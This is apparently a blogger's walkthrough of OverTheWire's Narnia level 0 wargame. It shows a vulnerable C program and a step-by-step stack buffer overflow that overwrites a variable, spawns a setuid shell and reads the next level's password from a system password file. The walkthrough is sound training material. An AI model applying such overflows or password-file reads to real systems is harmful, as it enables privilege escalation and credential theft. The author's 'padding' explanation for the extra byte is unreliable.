Over the Wire Narnia Level 0 -> 1

Hi there! I've been working towards compelting Over the Wire's Narnia wargame. As you can probably tell I am loving these wargames and have been very excited with the challenges I'm facing. I'm not too good at binary exploitation, but I have learned so much even in these first few levels. That's really what this is all about, learning! And having fun of course. So, without further ado, here is Narnia 0 > 1

Note: Like my previous walkthroughs, I may use commands without really explaining why or what they do. It is up to you to research yourself. Use man, and google.

Narnia 0 -> Narnia 1:

This was a pretty simple buffer overflow. First things first, you log in with SSH. Like my previous games, I like to create a variable on my host machine called level and change that accordingly, and then call ssh with:

$ level=narnia0
$ ssh $level@narnia.labs.overthewire.org

The password is just narnia0.

When we login, we need to go to the game at /narnia

This directory contains all the levels in the wargame. Each level has an SUID binary, as well as the source code of the program.

We can run narnia0 and see what it does.

narnia0@melinda:/narnia$ ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: aaaa
buf: aaaa
val: 0x41414141
WAY OFF!!!!

So basically, we need to use a buffer overflow to change a variable. We can also see the source code here:

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
            system("/bin/sh");
    else {  
            printf("WAY OFF!!!!\n");
            exit(1);
    }

    return 0;
}

We can see we have a buffer of 20 characters. We can test this by running

narnia0@melinda:/narnia$ ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAABCD
buf: AAAAAAAAAAAAAAAAAAAAABCD
val: 0x44434241
WAY OFF!!!!

We can see that the last ABCD changed the memory value to 0x44434241.

Note that the characters are backwards in the memory address. This is due to little endian architecture. Read up to learn more.

Great! So now we have control of that memory location! We can just change it to deadbeef and we will be all set!

narnia0@melinda:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAdeadbeef
buf: AAAAAAAAAAAAAAAAAAAAdead
val: 0x64616564
WAY OFF!!!!

Hmm, that didn't work...

This is because the actual hex code needs to be 0xdeadbeef, where each letter is equal to a byte. Now, since 0xdeadbeef doesn't actually correspond to regular ASCII characters, we need to find the actual code. We can use bash to do this

narnia0@melinda:/narnia$ echo $'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'
AAAAAAAAAAAAAAAAAAAAᆳ�

Note little endian architecture, how I placed those last bytes.

We can just copy and paste that last line into the program.

narnia0@melinda:/narnia$ ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAᆳ�
buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xefadbeef
WAY OFF!!!!

Hmm, that should have worked. I'll be honest I spent a lot of time here. Turns out, you need to add another character at the end because of padding. With this, we can simply use this:

narnia0@melinda:/narnia$ echo $'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xaf'
AAAAAAAAAAAAAAAAAAAAᆳޯ
narnia0@melinda:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAᆳޯ
buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
$ cat /etc/narnia_pass/narnia1
efeidiedae

Now it works, we got a shell, and could cat the password! The \xaf was just random added at the end. It has no significance other than it is a placeholder.

Now onto the next levels! Don't worry, it only gets harder :)

Level 1 -> 2